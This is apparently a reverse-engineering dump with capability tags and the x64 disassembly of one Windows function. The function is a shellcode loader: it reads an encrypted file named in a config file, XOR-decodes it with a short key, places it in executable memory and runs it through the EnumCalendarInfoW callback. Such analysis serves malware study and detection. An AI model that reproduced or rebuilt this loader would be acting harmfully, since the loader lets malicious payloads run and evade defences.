Function at 0x140001de0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140034080]
xor rax, rsp
mov qword [rbp + 0x200], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b8], xmm0
xor r15d, r15d
mov qword [rbp + 0x1c8], r15
mov qword [rbp + 0x1d0], r15
mov ebx, 6
mov r8d, ebx
lea rdx, str.config
lea rcx, [rbp + 0x1b8]
call fcn.1400052c0
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x80]
call fcn.140023700
lea rdx, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 0xf
cmova rdx, qword [rbp + 0x1b8]
mov edi, 1
mov r8d, edi
lea rcx, [rbp + 0x80]
call fcn.140004080
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x80], r14
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x7c], edx
mov rcx, qword [rbp + 0x80]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax + 0x90], bl
je 0x140001f1e
lea rdx, str.open_config_file_error:
call fcn.140004e10
lea rdx, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 0xf
cmova rdx, qword [rbp + 0x1b8]
mov r8, qword [rbp + 0x1c8]
mov rcx, rax
call fcn.140005a30
mov rcx, rax
call fcn.1400050f0
lea rbx, vtable.std::ios_base.0
lea rsi, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
jmp 0x14000236f
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], 0xf
mov byte [rbp + 0x190], 0
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax + 0xc0]
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x38], rcx
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x30]
call fcn.140004cd0
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx esi, al
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140001f96
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140001f96
mov r8, qword [rax]
mov edx, edi
mov rcx, rax
call qword [r8]
movzx r8d, sil
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x80]
call fcn.140005ce0
lea rcx, [rbp + 0x90]
call fcn.140003f40
mov r13d, 2
test rax, rax
jne 0x140001ffc
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
mov eax, ebx
cmp qword [rbp + rcx + 0xc8], 0
cmovne eax, r13d
or eax, dword [rbp + rcx + 0x90]
and eax, 0x17
mov dword [rbp + rcx + 0x90], eax
and eax, dword [rbp + rcx + 0x94]
jne 0x140002451
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x70]
call fcn.140023700
lea rdx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rdx, qword [rbp + 0x190]
mov r8d, 0x20
lea rcx, [rsp + 0x70]
call fcn.140004080
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r14
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x6c], edx
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x80], 6
je 0x1400020a5
lea rdx, str.open_encrypted_file_error:
call fcn.140004e10
lea rdx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rdx, qword [rbp + 0x190]
mov r8, qword [rbp + 0x1a0]
mov rcx, rax
call fcn.140005a30
mov rcx, rax
call fcn.1400050f0
jmp 0x1400022b1
mov r8d, r13d
lea rcx, [rsp + 0x70]
call fcn.140003640
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x70]
call fcn.140003560
mov r14, qword [rax + 8]
add r14, qword [rax]
xor r8d, r8d
lea rcx, [rsp + 0x70]
call fcn.140003640
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d8], xmm1
mov qword [rbp + 0x1e8], r15
test r14, r14
je 0x140002169
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x1400024a5
cmp r14, 0x1000
jb 0x140002133
lea rcx, [r14 + 0x27]
cmp rcx, r14
jbe 0x1400024ab
call fcn.140007048
test rax, rax
je 0x140002502
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000213e
mov rcx, r14
call fcn.140007048
mov rsi, rax
mov qword [rbp + 0x1d8], rsi
lea r15, [rsi + r14]
mov qword [rbp + 0x1e8], r15
mov r8, r14
xor edx, edx
mov rcx, rsi
call fcn.140023700
mov r12, r15
mov qword [rbp + 0x1e0], r15
jmp 0x140002177
mov r12, qword [rbp + 0x1e0]
mov rsi, qword [rbp + 0x1d8]
mov r8, r14
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.140003830
lea rcx, [rbp - 0x80]
call fcn.140003f40
test rax, rax
jne 0x1400021bd
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx - 0x48], 0
cmovne ebx, r13d
or ebx, dword [rbp + rcx - 0x80]
and ebx, 0x17
mov dword [rbp + rcx - 0x80], ebx
and ebx, dword [rbp + rcx - 0x7c]
jne 0x1400024b1
mov dword [rbp + 0x1b0], 0x6e6173
xor r9d, r9d
test r14, r14
je 0x140002207
movabs r8, 0xaaaaaaaaaaaaaaab
nop dword [rax]
mov rax, r8
mul r9
shr rdx, 1
lea rax, [rdx + rdx*2]
mov rcx, r9
sub rcx, rax
movzx eax, byte [rbp + rcx + 0x1b0]
xor byte [r9 + rsi], al
inc r9
cmp r9, r14
jb 0x1400021e0
mov rcx, r14
call fcn.140007084
mov rdi, rax
sub r12, rsi
mov r8, r12
mov rdx, rsi
mov rcx, rax
call fcn.140023060
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, r14
mov rdx, rdi
mov rcx, rax
call fcn.140023060
mov edx, 0x400
mov r9d, 0x15
mov r8d, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov rcx, rdi
call fcn.140007040
xor edi, edi
test rsi, rsi
je 0x1400022a7
sub r15, rsi
mov rax, rsi
cmp r15, 0x1000
jb 0x14000229c
add r15, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002502
mov rdx, r15
mov rcx, rsi
call fcn.140007040
lea r14, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
xor r15d, r15d
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r14
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x80]
call fcn.1400032a0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rsi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x6c], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x20], rbx
lea rcx, [rbp + 0x20]
call fcn.140006798
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x140002356
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002351
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002508
call fcn.140007040
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], 0xf
mov byte [rbp + 0x190], 0
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x80], r14
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x90]
call fcn.1400032a0
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x80], rsi
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x7c], edx
mov qword [rbp + 0x130], rbx
lea rcx, [rbp + 0x130]
call fcn.140006798
nop
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 0xf
jbe 0x140002419
inc rdx
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002414
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000244b
call fcn.140007040
mov eax, edi
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140007020
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000f790
nop
test al, 4
je 0x14000245e
lea rbx, str.ios_base::badbit_set
jmp 0x140002473
test r13b, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, edi
lea rcx, [rsp + 0x30]
call fcn.1400013c0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x1d8]
call fcn.140001c80
lea rdx, [0x1400334e0]
lea rcx, [rbp + 0x1d8]
call fcn.140008ddc
nop
call fcn.140005a10
int3
call fcn.140001250
nop
test bl, 4
je 0x1400024bf
lea rbx, str.ios_base::badbit_set
jmp 0x1400024d4
test bl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, edi
lea rcx, [rsp + 0x30]
call fcn.1400013c0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140001c80
lea rdx, [0x1400334e0]
lea rcx, [rsp + 0x40]
call fcn.140008ddc
nop
call fcn.14000f790
nop
call fcn.14000f790
int3